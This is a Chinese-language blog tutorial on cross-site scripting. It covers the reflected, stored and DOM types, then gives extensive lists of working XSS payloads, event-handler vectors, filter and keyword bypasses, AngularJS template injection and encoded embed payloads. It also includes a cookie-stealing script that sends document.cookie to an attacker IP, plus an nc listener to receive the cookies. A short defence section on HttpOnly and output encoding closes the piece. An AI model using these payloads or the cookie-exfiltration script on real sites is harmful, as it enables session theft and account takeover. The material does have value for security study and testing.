前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一文了解XSS漏洞和常见payload

一文了解XSS漏洞和常见payload

作者头像
红客突击队
发布2022-09-30 14:18:48
2.3K0
发布2022-09-30 14:18:48
举报
文章被收录于专栏:kaydenkayden

一文了解XSS漏洞和常见payload

前言

刷完了XSS challenge和XSS game 对XSS漏洞有了些许认识 在此做个小结与记录

1、什么是XSS

XSS(Cross Site Scripting),跨站脚本

  • 发生在用户端
  • 由于动态网页的Web应用对用户提交请求参数未做充分的检查过滤,允许用户在提交的数据中掺入HTML代码,然后未加编码地输出到第三方用户的浏览器
  • 这些攻击者恶意提交代码会被受害用户的浏览器解释执行。
  • 攻击目标是为了盗取客户端的cookie或者其他网站用于识别客户端身份的敏感信息
  • 获取到合法用户的信息后,攻击者甚至可以假冒最终用户与网站进行交互

危害

  • 挂马
  • 盗取用户Cookie。
  • DOS(拒绝服务)客户端浏览器。
  • 钓鱼攻击,高级的钓鱼技巧。
  • 删除目标文章、恶意篡改数据、嫁祸。
  • 劫持用户Web行为,甚至进一步渗透内网。
  • 爆发Web2.0蠕虫。
  • 蠕虫式的DDoS攻击。
  • 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据

2、XSS的分类

XSS主要有三类:

  • 反射型XSS(非持久型)
  • 存储型XSS(持久型)
  • DOM XSS
反射型XSS

反射型XSS 是非持久性、参数型的跨站脚本 反射型XSS 的JS 代码在Web 应用的参数(变量)中

反射型XSS过程如下:

  • 攻击者给目标机发送包含恶意代码的数据包,如邮件、图像
  • 目标机点击后,将请求发送给服务器
  • 服务器没有过滤,原封不动的返回目标机
  • 实现注入

例如搜索框的反射型XSS 在搜索框中,提交PoC:

代码语言:javascript
复制
<script>alert(/xss/)</script>

点击搜索,即可触发反射型XSS 我们提交的poc 会出现在search.php 页面的keywords 参数中

常见payload

代码语言:javascript
复制
<script>alert('XSS')</script>
<a href='' οnclick=alert('xss')>type</a>
<img src=http://1.1.1.1/a.ipg οnerrοr=alert('xss')>
<script>window.location='http://1.1.1.1'</script>
<iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie;</script>
<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
存储型XSS

存储型XSS 是持久性跨站脚本 持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中

存储型XSS 通常发生在留言板等地方

  • 我们在留言板位置留言,将恶意代码写进数据库中,此时,我们只完成了第一步,将恶意代码写入数据库
  • 因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS
  • 此时,需要我们模拟网站后台管理员的身份,查看留言,出发XSS

例如用XSS.js窃取cookie XSS.js内容如下

代码语言:javascript
复制
var img = new Image();
img.src = "http://192.168.1.1:88/cookies.php?cookie="+document.cookie; #这里是kali的IP

输入

代码语言:javascript
复制
<script src="http://1.1.1.1/XSS.js"></script> #1.1.1.1是肉鸡的IP

然后在kali里监听88端口就可以获取cookie

基于DOM的 XSS

DOM XSS 比较特殊 owasp 关于DOM 型号XSS 的定义是基于DOM 的XSS 是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的 其特殊的地方就是payload 在浏览器本地修改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测

一套 JS 和其他语言可调用的标准的 API

例如

代码语言:javascript
复制
nc -nvlp 88 #在kali里监听88端口

输入

代码语言:javascript
复制
<script src="http://1.1.1.1/XSS.js"></script> #1.1.1.1是肉鸡的IP

3、基于事件的XSS

标准HTML事件
代码语言:javascript
复制
<body onload=alert()>
 
<img src=x onerror=alert()>
 
<svg onload=alert()>
 
<body onpageshow=alert(1)>
 
<div style="width:1000px;height:1000px" onmouseover=alert()></div>
 
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
 
<marquee onstart=alert(1)> (firefox only)
 
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
 
<input autofocus="" onfocus=alert(1)></input>
 
<details open ontoggle="alert()">  (chrome & opera only)
HTML事件
代码语言:javascript
复制
<video autoplay onloadstart="alert()" src=x></video>
 
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
 
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
 
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
 
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
 
<video controls onloadstart="alert()"><source src=x></video>
 
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
 
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
 
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
CSS事件
代码语言:javascript
复制
<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

下面的例子使用的是style标签来为动画的开始和结束设置关键帧:

代码语言:javascript
复制
<style>@keyframes x {}</style>
代码语言:javascript
复制
<p style="animation: x;" onanimationstart="alert()">XSS</p>
 
<p style="animation: x;" onanimationend="alert()">XSS</p>

4、标签-属性分隔符的使用

Firefox和Chrome中能够使用的有效分隔符:

原payload

代码语言:javascript
复制
<svg onload=alert(1)>

替换空格后

代码语言:javascript
复制
<svg/οnlοad=alert(1)><svg>
 
<svg
onload=alert(1)><svg> # newline char
 
<svg  onload=alert(1)><svg> # tab char
 
<svgοnlοad=alert(1)><svg> # new page char (0xc)

5、对JS框架的XSS

对JS框架

AngularJS
代码语言:javascript
复制
{{constructor.constructor('alert(1)')()}}

这个Payload适用于大多数场景。

Mavo
代码语言:javascript
复制
[self.alert(1)]

6、各种绕过

圆括号过滤

利用HTML解析器和JS语句:

代码语言:javascript
复制
<svg onload=alert`1`></svg>
 
<svg onload=alert&lpar;1&rpar;></svg>
 
<svg onload=alert&#x28;1&#x29></svg>
 
<svg onload=alert&#40;1&#41></svg>
限制字符集

某处白名单策略,只允许使用[]$='\()+这些字符以及数字0-9,连任意字母都不允许使用 甚至\和数字也白名单过滤了 可用以下这两个方法:

JSFuck

  • 工具
  • 工具2
  • JSFuck的应用

jjencode

关键词过滤

避免使用的关键词:

代码语言:javascript
复制
(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al”+”ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)  // Generated using parseInt("alert",30). Other bases also work
双重编码
尖括号引号过滤

unicode编码或16进制编码搞定<>"&

代码语言:javascript
复制
16进制编码   \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
Unicode编码  \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
8进制    \\74img src=x οnerrοr=alert(document.domain)\\76
长度限制+过滤符号

过滤策略

  • 截取长度50的字符串
  • '"+-!\[]被替换为_
  • alert被替换为_

绕过方法

  • 定义匿名函数,利用匿名函数的参数构造payload,同时使用正则表达式来绕过alert字符串的检测。
  • 利用数字和字符串之间的互相转换,来绕过针对alert的检测。
  • 在URL地址后面加上#${payload},然后通过location.hash.slice(1)来获取payload,也能做到绕过检测。
代码语言:javascript
复制
// 匿名函数
Function(/ALERT(1337)/.source.toLowerCase())()
// 数字转字符串,将30进制的数字8680439转换成字符串,就是alert
eval(8680439..toString(30))(1337)
// 在URL后面加上 #alert(1337)
eval(location.hash.slice(1))

打破html的注释

注入点在注释里

<!–是多行注释,所以换行的思路基本不可行

绕过方法

  • 因为HTML中没有嵌套注释的概念,所以可以用新的注释打破了旧的注释
  • 而因为浏览器不喜欢在意外发送时呈现php源代码,所以<php>它会变异成<!--php-->
  • 这种变异会产生新的注释,于是打破旧的注释
代码语言:javascript
复制
<?php><svg οnlοad=alert(1337)>
<?><svg onload=alert(1337)>
<?php><img%20src=x%20οnerrοr=alert(1337)>

7、大量payload

一些常见payload如下

  • xss漏洞模糊测试有效载荷的最佳集合 2020版
  • 常见payload
  • 常见payload2

特殊少见的payload

代码语言:javascript
复制
<svg><animate onbegin=alert() attributeName=x></svg>
 
<object data="data:text/html,<script>alert(5)</script>">
 
<iframe srcdoc="<svg οnlοad=alert(4);>">
 
<object data=javascript:alert(3)>
 
<iframe src=javascript:alert(2)>
 
<embed src=javascript:alert(1)>
 
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
 
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>

8、防御

对cookie保护

对重要的cookie设置HttpOnly, 防止客户端通过document.cookie读取cookie 服务端可以设置此字段

对用户输入的内容

1.编码: 对用户输入的数据进行HTML Entity编码 可以用PHP中的htmlspecialchars()htmlentities()

2.解码: 避免直接对HTML Entity编码 使用DOM Parse转码,校正不配对的DOM标签

3.过滤: 移除用户上传的DOM属性,如onerror,onclick等 移除用户上传的Style节点、Script节点、 iframe节点等

结语

对XSS做了个归纳总结


红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-08-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红客突击队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一文了解XSS漏洞和常见payload
  • 前言
    • 1、什么是XSS
      • 2、XSS的分类
        • 3、基于事件的XSS
          • 4、标签-属性分隔符的使用
            • 5、对JS框架的XSS
              • 6、各种绕过
                • 7、大量payload
                  • 8、防御
                  • 结语
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档